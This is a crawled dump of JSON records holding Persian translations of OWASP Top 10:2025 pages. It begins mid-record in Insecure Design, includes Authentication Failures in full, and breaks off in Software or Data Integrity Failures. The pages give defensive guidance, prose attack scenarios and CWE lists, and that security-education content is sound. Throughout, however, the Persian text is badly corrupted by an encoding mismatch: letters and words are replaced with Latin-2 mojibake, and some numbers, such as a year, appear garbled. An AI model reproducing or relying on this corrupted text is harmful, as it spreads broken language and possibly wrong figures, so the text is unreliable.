میانگین امتیاز تأثیر | تؚداد کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22.18% | 1.86% | 88.76% | 35.18% | 6.96 | 4.05 | 729,882 |\n\n## توضیحات\n\nInsecure Design یک دسته گسترده است که ضعف‌های مختلف عا ŘŻŘą قالب “کنترل‌های طراحی ناقص یا ناکارآمد” نشان می‌دهد. توجه داشته باشید که بین Insecure Design و Insecure Implementation تفاوت و؏ود داعد:\n\n- طراحی امن ممکن است با باگ‌های پیاده‌سازی منجر به آسیب‌پذیری شود.\n- طراحی ناامن با بهترین پیاده‌سازی هم قابل اصلاح نیست، زیرا کنترل‌های امنیتی مورد نیاز اصلاً ایجاد نشده‌اند.\n\nیکی از عوامل Insecure Design، نبود پروفایل ریسک کسب‌وکار ŘŻŘą نرم‌افزار است و عدم تعیین سءح امنیت مورد نیاز برای طراحی.\n\n### سه ب؎ش کلیدی طراحی امن\n\n1. **Requirements and Resource Management:** جمع‌آوری و مذاکره بع سع نیازمندی‌های کسب‌وکار و امنیتی، مدیریت منابع و بودجه.\n2. **Secure Design:** فرهنگ و روش‌شناسی که تهدیدها عا ارزیابی و اطمینان از طراحی مقاوم ÚŠŘŻ فراهم می‌کند. استفاده از threat modeling ŘŻŘą جلسات refinement و تحلیل assumptions و failure states.\n3. **Secure Development Lifecycle:** شامل طراحی امن، الگوهای طراحی امن، کتابخانه کامپوننت‌های امن، ابزارهای مناسب، threat modeling، و post-mortem حواد؍.\n\n## چگونه جلوگیری کنیŮ\n\n- ایجاد و استفاده از Secure Development Lifecycle با همکاری AppSec\n- استفاده از کتابخانه الگوهای طراحی امن یا paved-road components\n- انجام Threat Modeling برای بخش‌های حیاتی برنامه (احعاز هویت، access control، business logic)\n- ادغام security language و controls ŘŻŘą user stories\n- اعتبارسنجی plausibility ŘŻŘą هر tier برنامه (frontend تا backend)\n- نوشتن unit و integration tests برای تمام critical flows\n- ؏دا کردن tierها ŘŻŘą لایه سیستم و شبکه بع اساس نیازهای محافظتی\n- جداسازی robust tenants ŘŻŘą تمام tiers\n\n## نمونه سناریوهای حمله\n\n**سناریو #1:**\n\nیک workflow بازیابی credential با “questions and answers” که طبق NIST 800-63b، OWASP ASVS و OWASP Top 10 ممنوع است. پاسخ‌ها قابل اعتماد نیستند و باید با طراحی امن‌تر جایگزین شوند.\n\n**سناریو #2:**\n\nیک زنجیره سینمایی اجازه تخفیف گروهی می‌دهد و حداڊ؍ع ۹۾ نفر عا قبل از نیاز به پیش‌پرداخت قبول می‌کند. مهاجم می‌تواند با بررسی منطق کسب‌وکار، ۜ۰۰ صندلی و تمام سینماها عا با چند دع؎واست عزعو کند و ؎ساعت مالی ایجاد کند.\n\n**سناریو #3:**\n\nوب‌سایت e-commerce یک خرده‌فروش، محافظت ŘŻŘą بعابع botها ندارد. scalperها کارت‌های گرافیک عا خریداری و ŘŻŘą سایت‌های مزایده می‌فروشند. طراحی ؜د-bot و قوانین domain logic می‌توانند خریدهای غیرمجاز عا شناسایی و عد کنند.\n\n## منابع (References)\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Design_Principles_Cheat_Sheet.html)\n- [OWASP SAMM: Design | Secure Architecture](https://owaspsamm.org/)\n- [OWASP SAMM: Design | Threat Assessment](https://owaspsamm.org/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://csrc.nist.gov/publications)\n- [The Threat Modeling Manifesto](https://www.threatmodelingmanifesto.org/)\n- [Awesome Threat Modeling](https://github.com/irony/awesome-threat-modeling)\n\n## لیست CWEهای مرتبط (List of Mapped CWEs)\n\n- [CWE-73](https://cwe.mitre.org/data/definitions/73.html) External Control of File Name or Path\n- [CWE-183](https://cwe.mitre.org/data/definitions/183.html) Permissive List of Allowed Inputs\n- [CWE-256](https://cwe.mitre.org/data/definitions/256.html) Unprotected Storage of Credentials\n- [CWE-266](https://cwe.mitre.org/data/definitions/266.html) Incorrect Privilege Assignment\n- [CWE-269](https://cwe.mitre.org/data/definitions/269.html) Improper Privilege Management\n- [CWE-286](https://cwe.mitre.org/data/definitions/286.html) Incorrect User Management\n- [CWE-311](https://cwe.mitre.org/data/definitions/311.html) Missing Encryption of Sensitive Data\n- [CWE-312](https://cwe.mitre.org/data/definitions/312.html) Cleartext Storage of Sensitive Information\n- [CWE-313](https://cwe.mitre.org/data/definitions/313.html) Cleartext Storage in a File or on Disk\n- [CWE-316](https://cwe.mitre.org/data/definitions/316.html) Cleartext Storage of Sensitive Information in Memory\n- [CWE-362](https://cwe.mitre.org/data/definitions/362.html) Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n- [CWE-382](https://cwe.mitre.org/data/definitions/382.html) J2EE Bad Practices: Use of System.exit()\n- [CWE-419](https://cwe.mitre.org/data/definitions/419.html) Unprotected Primary Channel\n- [CWE-434](https://cwe.mitre.org/data/definitions/434.html) Unrestricted Upload of File with Dangerous Type\n- [CWE-436](https://cwe.mitre.org/data/definitions/436.html) Interpretation Conflict\n- [CWE-444](https://cwe.mitre.org/data/definitions/444.html) Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')\n- [CWE-451](https://cwe.mitre.org/data/definitions/451.html) User Interface (UI) Misrepresentation of Critical Information\n- [CWE-454](https://cwe.mitre.org/data/definitions/454.html) External Initialization of Trusted Variables or Data Stores\n- [CWE-472](https://cwe.mitre.org/data/definitions/472.html) External Control of Assumed-Immutable Web Parameter\n- [CWE-501](https://cwe.mitre.org/data/definitions/501.html) Trust Boundary Violation\n- [CWE-522](https://cwe.mitre.org/data/definitions/522.html) Insufficiently Protected Credentials\n- [CWE-525](https://cwe.mitre.org/data/definitions/525.html) Use of Web Browser Cache Containing Sensitive Information\n- [CWE-539](https://cwe.mitre.org/data/definitions/539.html) Use of Persistent Cookies Containing Sensitive Information\n- [CWE-598](https://cwe.mitre.org/data/definitions/598.html) Use of GET Request Method With Sensitive Query Strings\n- [CWE-602](https://cwe.mitre.org/data/definitions/602.html) Client-Side Enforcement of Server-Side Security\n- [CWE-628](https://cwe.mitre.org/data/definitions/628.html) Function Call with Incorrectly Specified Arguments\n- [CWE-642](https://cwe.mitre.org/data/definitions/642.html) External Control of Critical State Data\n- [CWE-646](https://cwe.mitre.org/data/definitions/646.html) Reliance on File Name or Extension of Externally-Supplied File\n- [CWE-653](https://cwe.mitre.org/data/definitions/653.html) Insufficient Compartmentalization\n- [CWE-656](https://cwe.mitre.org/data/definitions/656.html) Reliance on Security Through Obscurity\n- [CWE-657](https://cwe.mitre.org/data/definitions/657.html) Violation of Secure Design Principles\n- [CWE-676](https://cwe.mitre.org/data/definitions/676.html) Use of Potentially Dangerous Function\n- [CWE-693](https://cwe.mitre.org/data/definitions/693.html) Protection Mechanism Failure\n- [CWE-799](https://cwe.mitre.org/data/definitions/799.html) Improper Control of Interaction Frequency\n- [CWE-807](https://cwe.mitre.org/data/definitions/807.html) Reliance on Untrusted Inputs in a Security Decision\n- [CWE-841](https://cwe.mitre.org/data/definitions/841.html) Improper Enforcement of Behavioral Workflow\n- [CWE-1021](https://cwe.mitre.org/data/definitions/1021.html) Improper Restriction of Rendered UI Layers or Frames\n- [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html) Use of Web Link to Untrusted Target with window.opener Access\n- [CWE-1125](https://cwe.mitre.org/data/definitions/1125.html) Excessive Attack Surface", "znaku_textu": 9521, "slov": 940, "odkazu": 80, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:53", "sha256": "475ee1249ecbb04b30370aa94080cb5c210673b8d88a94df8ccd84f8199c9275", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Design_Principles_Cheat_Sheet.html", "https://owaspsamm.org/", "https://csrc.nist.gov/publications", "https://www.threatmodelingmanifesto.org/", "https://github.com/irony/awesome-threat-modeling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A07_2025-Authentication_Failures/", "titulek": "A07 Authentication Failures - OWASP Top 10:2025", "h1": "A07:2025 Authentication Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A07_2025-Authentication_Failures/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A07:2025 Authentication Failures"}, {"uroven": 2, "text": "پس‌زمینه"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 2, "text": "چگونه جلوگیری کنیŮ"}, {"uroven": 2, "text": "نمونه سناریوهای حمله"}, {"uroven": 2, "text": "منابع (References)"}, {"uroven": 2, "text": "لیست CWEهای مرتبط (List of Mapped CWEs)"}], "markdown": "# A07:2025 Authentication Failures\n\n## پس‌زمینه\n\nAuthentication Failures موقعیت ؎ود عا ŘŻŘą رتبه #7 حفظ کرده و نام آن کمی تغییر کرده تا دقیق‌تر منعکس‌کننده ۳ۜ CWE ŘŻŘą این دسته باشد. با و؏ود بهره‌مندی از فریم‌ورک‌های استاندارد، این دسته از سال ۲۰۲۹ رتبه ؎ود عا حفظ کرده است.\n\nCWEهای مهم شامل CWE-259: Use of Hard-coded Password، CWE-297: Improper Validation of Certificate with Host Mismatch، CWE-287: Improper Authentication، CWE-384: Session Fixation، و CWE-798: Use of Hard-coded Credentials می‌شوند.\n\n## جدول امتیازدهی\n\n| تؚداد CWEهای نگاشت‌شده | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز بهره‌برداری | میانگین امتیاز تأثیر | تؚداد کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 36 | 15.80% | 2.92% | 100.00% | 37.14% | 7.69 | 4.44 | 1,120,673 |\n\n## توضیحات\n\nاین آسیب‌پذیری زمانی ع؎ می‌دهد که مهاجم بتواند سیستم عا فریب دهد تا یک ڊاعبع نامعتبر یا اشتباه عا به عنوان معتبر بشناسد.\n\nیک برنامه ممکن است آسیب‌پذیری احعاز هویت داشته باشد اگع:\n\n- اجازه حملات ؎ودڊاع مثل credential stuffing عا بدهد، جایی که مهاجم از لیست نام‌های کاربری و رمز ؚبوع لو رفته استفاده می‌کند. این حملات اخیراً شامل hybrid password attacks یا password spray attacks نیز شده‌اند.\n- اجازه brute force یا سایر حملات اسکریپتی عا بدهد که به سعؚت مسدود نمی‌شوند.\n- از رمزهای پیش‌فرض، ضعیف یا شناخته‌شده استفاده کند، مانند \"Password1\" یا ڊاعبع \"admin\" با رمز \"admin\".\n- کاربران بتوانند با credentials قبلاً لو رفته حساب جدید بسازند.\n- فرآیندهای بازیابی رمز ضعیف یا ناکارآمد داشته باشد، مانند پاسخ‌های مبتنی بع دانش (knowledge-based answers).\n- رمزها عا به ؾوعت plain text، رمزگذاری شده یا هش ضعیف ذخیره کند.\n- MFA عا به درستی پیاده‌سازی نکرده باشد یا fallback ضعیف برای MFA داشته باشد.\n- شناسه نشست (session ID) عا ŘŻŘą URL، hidden field یا مکان ناامن دیگر افشا کند.\n- همان شناسه نشست عا ٞس از وعود مجدد استفاده کند.\n- نشست ڊاعبع یا توکن‌های احعاز هویت (خصوصاً SSO) عا هنگام logout یا عدم فعالیت به درستی باطل نکند.\n\n## چگونه جلوگیری کنیŮ\n\n- MFA عا پیاده‌سازی و اجباری کنید تا credential stuffing، brute force و reuse credentials جلوگیری شود.\n- استفاده از password manager عا تشویق کنید.\n- هرگز با credentials پیش‌فرض منتشر یا مستقر نکنید، خصوصاً برای کاربران admin.\n- بررسی کنید که رمزها ŘŻŘą بعابع لیست بدترین رمزها مقاوم باشند (top 10,000 worst passwords).\n- ŘŻŘą ایجاد حساب جدید یا تغییر رمز، از لیست credentials لو رفته اعتبارسنجی کنید (مثلاً [haveibeenpwned.com](https://haveibeenpwned.com) ).\n- سیاست طول و پیچیدگی رمز عا مطابق NIST 800-63b ب؎ش 5.1.1 اعمال کنید.\n- از کاربران نخواهید رمزها عا به‌صورت اجباری بچرخانند مگر ŘŻŘą ؾوعت Ř´ÚŠ به نفوذ.\n- مسیرهای ثبت‌نام و بازیابی credential عا ŘŻŘą بعابع account enumeration س؎ت کنید (استفاده از پیام یکسان برای تمام نتایج).\n- تلاش‌های وعود ناموفق عا محدود یا به تدریج تأخیر دهید، اما مراقب نباشید که DoS ایجاد شود.\n- از server-side session manager امن استفاده کنید که ٞس از login شناسه نشست جدید با entropy بالا ایجاد کند.\n- شناسه نشست ŘŻŘą URL نباشد، ŘŻŘą cookie امن ذخیره شود و ٞس از logout یا timeout باطل شود.\n- اگع ممکن است، از سیستم آماده و معتبر برای مدیریت authentication، identity و session استفاده کنید تا ریسک منتقل شود.\n\n## نمونه سناریوهای حمله\n\n**سناریو #1:**\n\nCredential stuffing: مهاجمان از لیست‌های نام کاربری و رمز استفاده می‌کنند و اخیراً با تغییرات انسانی مانند افزایش اؚداد یا تغییر سال‌ها، حملات hybrid credential یا password spray انجام می‌دهند. ŘŻŘą ؾوعت نبود defenses، برنامه می‌تواند به oracle رمز تبدیل شود و دسترسی غیرمجاز ایجاد کند.\n\n**سناریو #2:**\n\nاڊ؍ع حملات موفق به دلیل تکیه تنها بع رمز اتفاق می‌افتد. سیاست‌های قدیمی rotation و complexity باؚ؍ می‌شود کاربران رمزهای ضعیف یا تکراری استفاده کنند. توصیه می‌شود این روش‌ها متوقف و MFA اجباری شود.\n\n**سناریو #3:**\n\nTimeout و logout صحیح جلسات پیاده‌سازی نشده است. ڊاعبع روی کامپیوتر عمومی مرورگر عا می‌بندد بدون logout. اگع SSO قابل logout نباشد، مهاجم می‌تواند ٞس از ڊاعبع واعد حساب شود.\n\n## منابع (References)\n\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Secure Coding Practices](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Coding_Practices_Checklist.html)\n\n## لیست CWEهای مرتبط (List of Mapped CWEs)\n\n- [CWE-258](https://cwe.mitre.org/data/definitions/258.html) Empty Password in Configuration File\n- [CWE-259](https://cwe.mitre.org/data/definitions/259.html) Use of Hard-coded Password\n- [CWE-287](https://cwe.mitre.org/data/definitions/287.html) Improper Authentication\n- [CWE-288](https://cwe.mitre.org/data/definitions/288.html) Authentication Bypass Using an Alternate Path or Channel\n- [CWE-289](https://cwe.mitre.org/data/definitions/289.html) Authentication Bypass by Alternate Name\n- [CWE-290](https://cwe.mitre.org/data/definitions/290.html) Authentication Bypass by Spoofing\n- [CWE-291](https://cwe.mitre.org/data/definitions/291.html) Reliance on IP Address for Authentication\n- [CWE-293](https://cwe.mitre.org/data/definitions/293.html) Using Referer Field for Authentication\n- [CWE-294](https://cwe.mitre.org/data/definitions/294.html) Authentication Bypass by Capture-replay\n- [CWE-295](https://cwe.mitre.org/data/definitions/295.html) Improper Certificate Validation\n- [CWE-297](https://cwe.mitre.org/data/definitions/297.html) Improper Validation of Certificate with Host Mismatch\n- [CWE-298](https://cwe.mitre.org/data/definitions/298.html) Improper Validation of Certificate with Host Mismatch\n- [CWE-299](https://cwe.mitre.org/data/definitions/299.html) Improper Validation of Certificate with Host Mismatch\n- [CWE-300](https://cwe.mitre.org/data/definitions/300.html) Channel Accessible by Non-Endpoint\n- [CWE-302](https://cwe.mitre.org/data/definitions/302.html) Authentication Bypass by Assumed-Immutable Data\n- [CWE-303](https://cwe.mitre.org/data/definitions/303.html) Incorrect Implementation of Authentication Algorithm\n- [CWE-304](https://cwe.mitre.org/data/definitions/304.html) Missing Critical Step in Authentication\n- [CWE-305](https://cwe.mitre.org/data/definitions/305.html) Authentication Bypass by Primary Weakness\n- [CWE-306](https://cwe.mitre.org/data/definitions/306.html) Missing Authentication for Critical Function\n- [CWE-307](https://cwe.mitre.org/data/definitions/307.html) Improper Restriction of Excessive Authentication Attempts\n- [CWE-308](https://cwe.mitre.org/data/definitions/308.html) Use of Single-factor Authentication\n- [CWE-309](https://cwe.mitre.org/data/definitions/309.html) Use of Password System for Primary Authentication\n- [CWE-346](https://cwe.mitre.org/data/definitions/346.html) Origin Validation Error\n- [CWE-350](https://cwe.mitre.org/data/definitions/350.html) Reliance on Reverse DNS Resolution for a Security-Critical Action\n- [CWE-384](https://cwe.mitre.org/data/definitions/384.html) Session Fixation\n- [CWE-521](https://cwe.mitre.org/data/definitions/521.html) Weak Password Requirements\n- [CWE-613](https://cwe.mitre.org/data/definitions/613.html) Insufficient Session Expiration\n- [CWE-620](https://cwe.mitre.org/data/definitions/620.html) Unverified Password Change\n- [CWE-640](https://cwe.mitre.org/data/definitions/640.html) Weak Password Recovery Mechanism for Forgotten Password\n- [CWE-798](https://cwe.mitre.org/data/definitions/798.html) Use of Hard-coded Credentials\n- [CWE-940](https://cwe.mitre.org/data/definitions/940.html) Improper Verification of Source of a Communication Channel\n- [CWE-941](https://cwe.mitre.org/data/definitions/941.html) Incorrectly Specified Destination in a Communication Channel\n- [CWE-1390](https://cwe.mitre.org/data/definitions/1390.html) Weak Authentication\n- [CWE-1391](https://cwe.mitre.org/data/definitions/1391.html) Use of Weak Credentials\n- [CWE-1392](https://cwe.mitre.org/data/definitions/1392.html) Use of Default Credentials\n- [CWE-1393](https://cwe.mitre.org/data/definitions/1393.html) Use of Default Password", "znaku_textu": 9747, "slov": 997, "odkazu": 74, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:54", "sha256": "9e472cd688492c19c21a4ad4e7bbf8e9536526f0f89966826033e4d1c3700c08", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://haveibeenpwned.com/", "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Coding_Practices_Checklist.html", "https://cwe.mitre.org/data/definitions/258.html", "https://cwe.mitre.org/data/definitions/259.html", "https://cwe.mitre.org/data/definitions/287.html", "https://cwe.mitre.org/data/definitions/288.html", "https://cwe.mitre.org/data/definitions/289.html", "https://cwe.mitre.org/data/definitions/290.html", "https://cwe.mitre.org/data/definitions/291.html", "https://cwe.mitre.org/data/definitions/293.html", "https://cwe.mitre.org/data/definitions/294.html", "https://cwe.mitre.org/data/definitions/295.html", "https://cwe.mitre.org/data/definitions/297.html", "https://cwe.mitre.org/data/definitions/298.html", "https://cwe.mitre.org/data/definitions/299.html", "https://cwe.mitre.org/data/definitions/300.html", "https://cwe.mitre.org/data/definitions/302.html", "https://cwe.mitre.org/data/definitions/303.html", "https://cwe.mitre.org/data/definitions/304.html", "https://cwe.mitre.org/data/definitions/305.html", "https://cwe.mitre.org/data/definitions/306.html", "https://cwe.mitre.org/data/definitions/307.html", "https://cwe.mitre.org/data/definitions/308.html", "https://cwe.mitre.org/data/definitions/309.html", "https://cwe.mitre.org/data/definitions/346.html", "https://cwe.mitre.org/data/definitions/350.html", "https://cwe.mitre.org/data/definitions/384.html", "https://cwe.mitre.org/data/definitions/521.html", "https://cwe.mitre.org/data/definitions/613.html", "https://cwe.mitre.org/data/definitions/620.html", "https://cwe.mitre.org/data/definitions/640.html", "https://cwe.mitre.org/data/definitions/798.html", "https://cwe.mitre.org/data/definitions/940.html", "https://cwe.mitre.org/data/definitions/941.html", "https://cwe.mitre.org/data/definitions/1390.html", "https://cwe.mitre.org/data/definitions/1391.html", "https://cwe.mitre.org/data/definitions/1392.html", "https://cwe.mitre.org/data/definitions/1393.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/fa/A08_2025-Software_or_Data_Integrity_Failures/", "titulek": "A08 Software or Data Integrity Failures - OWASP Top 10:2025", "h1": "A08:2025 Software or Data Integrity Failures", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/fa/A08_2025-Software_or_Data_Integrity_Failures/", "jazyk": "fa", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A08:2025 Software or Data Integrity Failures"}, {"uroven": 2, "text": "پس‌زمینه"}, {"uroven": 2, "text": "جدول امتیازدهی"}, {"uroven": 2, "text": "توضیحات"}, {"uroven": 3, "text": "نمونه‌ها"}, {"uroven": 2, "text": "چگونه جلوگیری کنیŮ"}, {"uroven": 2, "text": "نمونه سناریوهای حمله"}, {"uroven": 2, "text": "منابع (References)"}, {"uroven": 2, "text": "لیست CWEهای مرتبط (List of Mapped CWEs)"}], "markdown": "# A08:2025 Software or Data Integrity Failures\n\n## پس‌زمینه\n\nSoftware or Data Integrity Failures ŘŻŘą رتبه #8 باقی مانده و نام آن کمی تغییر کرده تا دقیق‌تر از قبل منعکس‌کننده تمرکز روی integrity نرم‌افزار و داده باشد. این دسته روی بررسی و حفظ trust boundaries و ؾحت نرم‌افزار، ÚŠŘŻ و داده‌ها ŘŻŘą سءح پایین‌تر از Software Supply Chain Failures تمرکز داعد. ضعف‌های رایج شامل فرضیات اشتباه درباره بروزرسانی نرم‌افزار و داده‌های حساس بدون اعتبارسنجی integrity آن‌ها است.\n\nCWEهای مهم شامل CWE-829: Inclusion of Functionality from Untrusted Control Sphere، CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes و CWE-502: Deserialization of Untrusted Data می‌شوند.\n\n## جدول امتیازدهی\n\n| تؚداد CWEهای نگاشت‌شده | بیشترین نرخ بعوز | میانگین نرخ بعوز | بیشترین ٞوشش | میانگین ٞوشش | میانگین امتیاز بهره‌برداری | میانگین امتیاز تأثیر | تؚداد کل رخدادها |\n| --- | --- | --- | --- | --- | --- | --- | --- |\n| 14 | 8.98% | 2.75% | 78.52% | 45.49% | 7.11 | 4.79 | 501,327 |\n\n## توضیحات\n\nاین دسته مربوط به نرم‌افزار و زیرساخت‌هایی است که نمی‌توانند از اجرای ÚŠŘŻ یا دریافت داده‌ی غیرمعتبر یا غیرقابل اعتماد جلوگیری کنند.\n\n### نمونه‌ها\n\n- برنامه‌ای که به پلاگین‌ها، کتابخانه‌ها یا ماژول‌های ناشناس از منابع غیرقابل اعتماد، repositoryها یا CDNها اعتماد می‌کند.\n- CI/CD pipeline ناامن که ؾحت ÚŠŘŻ و artifacts عا قبل از ا؏عا یا انتشار بررسی نمی‌کند.\n- قابلیت auto-update که بروزرسانی‌ها عا بدون بررسی integrity دانلود و اعمال می‌کند.\n- داده‌هایی که سریالایز شده‌اند و attacker می‌تواند آن‌ها عا تغییر دهد (insecure deserialization).\n\n## چگونه جلوگیری کنیŮ\n\n- از digital signature یا مکانیسم مشابه برای اطمینان از ؾحت و منبع نرم‌افزار و داده استفاده کنید.\n- اطمینان حاصل کنید که کتابخانه‌ها و dependencyها فقط از repositoryهای قابل اعتماد مصرف می‌شوند. ŘŻŘą محیط‌های پرریسک، internal known-good repository ایجاد کنید.\n- یک فرآیند بررسی (review) برای تغییرات ÚŠŘŻ و پیکربندی داشته باشید تا از واعد شدن ÚŠŘŻ مخرب جلوگیری شود.\n- CI/CD pipeline عا با segregation، پیکربندی و کنترل دسترسی مناسب مدیریت کنید تا integrity ÚŠŘŻ حفظ شود.\n- داده‌های سریالایز نشده یا بدون encryption از clients غیرقابل اعتماد دریافت نشود و ŘŻŘą ؾوعت دریافت، بررسی integrity انجام شود.\n\n## نمونه سناریوهای حمله\n\n**سناریو #1: Inclusion of Web Functionality from an Untrusted Source**\n\nیک Ř´ŘąÚŠŘŞ از سرویس‌دهنده خارجی برای functionality پشتیبانی استفاده می‌کند و DNS mapping می‌زند تا `support.myCompany.com` عا به `myCompany.SupportProvider.com` وصل کند. این باؚ؍ می‌شود تمام cookies، از جمله authentication cookies، به سرویس‌دهنده خارجی ارسال شود و مهاجم بتواند نشست کاربران عا hijack کند.\n\n**سناریو #2: Update بدون امضا**\n\nمودم‌ها، ست‌تاپ‌باکس‌ها و firmware دستگاه‌ها ممکن است بروزرسانی‌های unsigned دریافت کنند. مهاجم می‌تواند firmware مخرب عا توزیع کند.\n\n**سناریو #3: دانلود package از منبع غیرمعتبر**\n\nیک توسعه‌دهنده package مورد نیاز ؎ود عا از سایت آنلاین دانلود می‌کند، package unsigned و شامل ÚŠŘŻ مخرب است.\n\n**سناریو #4: Insecure Deserialization**\n\nیک اٞ React داده‌های user state عا سریالایز می‌کند و بین microserviceها عد و بدل می‌کند. مهاجم signature object عا تشخیص داده و با ابزاع Java Deserialization Scanner ÚŠŘŻ از راه دوع ا؏عا می‌کند.\n\n## منابع (References)\n\n- [OWASP Cheat Sheet: Software Supply Chain Security](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Infrastructure as Code](https://cheatsheetseries.owasp.org/cheatsheets/Infrastructure_as_Code_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Deserialization](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)\n- [SAFECode Software Integrity Controls](https://safecode.org/)\n- [A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](https://www.solarwinds.com/securityadvisory)\n- [CodeCov Bash Uploader Compromise](https://about.codecov.com/security-update/)\n- [Securing DevOps by Julien Vehent](https://www.amazon.com/Securing-DevOps-Security-Continuous-Delivery/dp/1492054386)\n- [Insecure Deserialization by Tenendo](https://www.tenendo.com/blog/insecure-deserialization/)\n\n## لیست CWEهای مرتبط (List of Mapped CWEs)\n\n- [CWE-345](https://cwe.mitre.org/data/definitions/345.html) Insufficient Verification of Data Authenticity\n- [CWE-353](https://cwe.mitre.org/data/definitions/353.html) Missing Support for Integrity Check\n- [CWE-426](https://cwe.mitre.org/data/definitions/426.html) Untrusted Search Path\n- [CWE-427](https://cwe.mitre.org/data/definitions/427.html) Uncontrolled Search Path Element\n- [CWE-494](https://cwe.mitre.org/data/definitions/494.html) Download of Code Without Integrity Check\n- [CWE-502](https://cwe.mitre.org/data/definitions/502.html) Deserialization of Untrusted Data\n- [CWE-506](https://cwe.mitre.org/data/definitions/506.html) Embedded Malicious Code\n- [CWE-509](https://cwe.mitre.org/data/definitions/509.html) Replicating Malicious Code (Virus or Worm)\n- [CWE-565](https://cwe.mitre.org/data/definitions/565.html) Reliance on Cookies without Validation and Integrity Checking\n- [CWE-784](https://cwe.mitre.org/data/definitions/784.html) Reliance on Cookies without Validation and Integrity Checking in a Security Decision\n- [CWE-829](https://cwe.mitre.org/data/definitions/829.html) Inclusion of Functionality from Untrusted Control Sphere\n- [CWE-830](https://cwe.mitre.org/data/definitions/830.html) Inclusion of Web Functionality from an Untrusted Source\n- [CWE-915](https://cwe.mitre.org/data/definitions/915.html) Improperly Controlled Modification of Dynamically-Determined Object Attributes\n- [CWE-926](https://cwe.mitre.org/data/definitions/926.html) Improper Export of Android Application Components", "znaku_textu": 7070, "slov": 714, "odkazu": 58, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:55", "sha256": "a7634c614bc4fafaca915d297fae62e7718ecfe0fc16f19ebe1b51fab262f52f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html", 